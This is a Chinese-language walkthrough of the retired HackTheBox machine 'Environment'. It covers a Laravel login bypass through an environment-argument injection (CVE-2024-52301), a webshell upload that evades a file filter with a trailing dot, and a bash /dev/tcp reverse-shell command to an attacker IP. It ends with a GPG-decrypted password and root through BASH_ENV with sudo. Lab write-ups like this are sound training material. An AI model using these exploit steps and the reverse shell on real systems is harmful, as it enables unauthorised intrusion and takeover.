HTB Environment靶机渗透实战:Laravel漏洞利用与权限提升

本文详细记录了HackTheBox中Environment靶机的完整渗透过程。通过利用Laravel框架的CVE-2024-52301环境变量注入漏洞绕过登录验证,再结合CVE-2024-21546文件上传过滤绕过漏洞获取webshell,最终利用BASH_ENV环境变量配置不当实现权限提升。

HTB: Environment

Box Info

名称 Environment
发布日期 2025年5月3日
退役日期 2025年9月6日
操作系统 Linux
难度 中等(30分)
创建者 coopertim13

侦察

初始扫描

nmap扫描发现两个开放端口:SSH(22)和HTTP(80):

1
2
3
4
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.67
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

服务器运行OpenSSH 9.2p1和nginx 1.22.1,重定向到environment.htb域名。

网站分析 - TCP 80

技术栈识别

HTTP响应头显示Laravel框架特征:

  • XSRF-TOKEN和laravel_session Cookie
  • Laravel版本11.30.0

目录枚举

feroxbuster发现关键路径:

  • /login - 登录页面
  • /mailing - 邮件订阅功能
  • /upload - Laravel调试页面(泄露版本信息)

获取www-data权限

CVE-2024-52301利用

通过URL参数注入环境变量:

1
http://environment.htb/?--env=preprod

登录绕过

在调试错误中发现:当环境设置为"preprod"时,登录验证被绕过,直接以用户ID 1登录。

Laravel文件管理器漏洞利用

CVE-2024-21546

通过文件名后缀添加.绕过过滤:

  • 原始文件名:0xdf.php.
  • 保存为:0xdf.php

Webshell上传

上传包含PHP代码的图片文件,通过访问:

1
/storage/files/0xdf.php?cmd=id

反向Shell

执行反向连接命令:

1
bash -c 'bash -i & /dev/tcp/10.10.14.6/443 0>&1'

获取hish用户权限

GPG文件解密

/home/hish/backup/keyvault.gpg发现加密文件,使用hish的GPG密钥解密:

1
gpg -d --home /dev/shm/fakehome/.gnupg/ /home/hish/backup/keyvault.gpg

获得密码:marineSPm@ster!!

用户切换

使用解密获得的密码切换到hish用户:

1
2
3
su - hish
# 或SSH登录
ssh hish@environment.htb

获取root权限

Sudo权限分析

hish用户可以以root权限运行systeminfo脚本,且保留BASH_ENV环境变量:

1
2
3
hish@environment:~$ sudo -l
User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo

BASH_ENV利用

创建shell脚本:

1
2
#!/bin/bash
/bin/bash

通过BASH_ENV执行:

1
BASH_ENV=/dev/shm/shell.sh sudo systeminfo

成功获得root权限,读取root.txt标志文件。

技术要点总结

  1. Laravel环境变量注入(CVE-2024-52301)
  2. 文件上传过滤绕过(CVE-2024-21546)
  3. GPG密钥文件解密
  4. BASH_ENV环境变量滥用

整个渗透过程展示了从Web应用漏洞到系统权限提升的完整攻击链。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计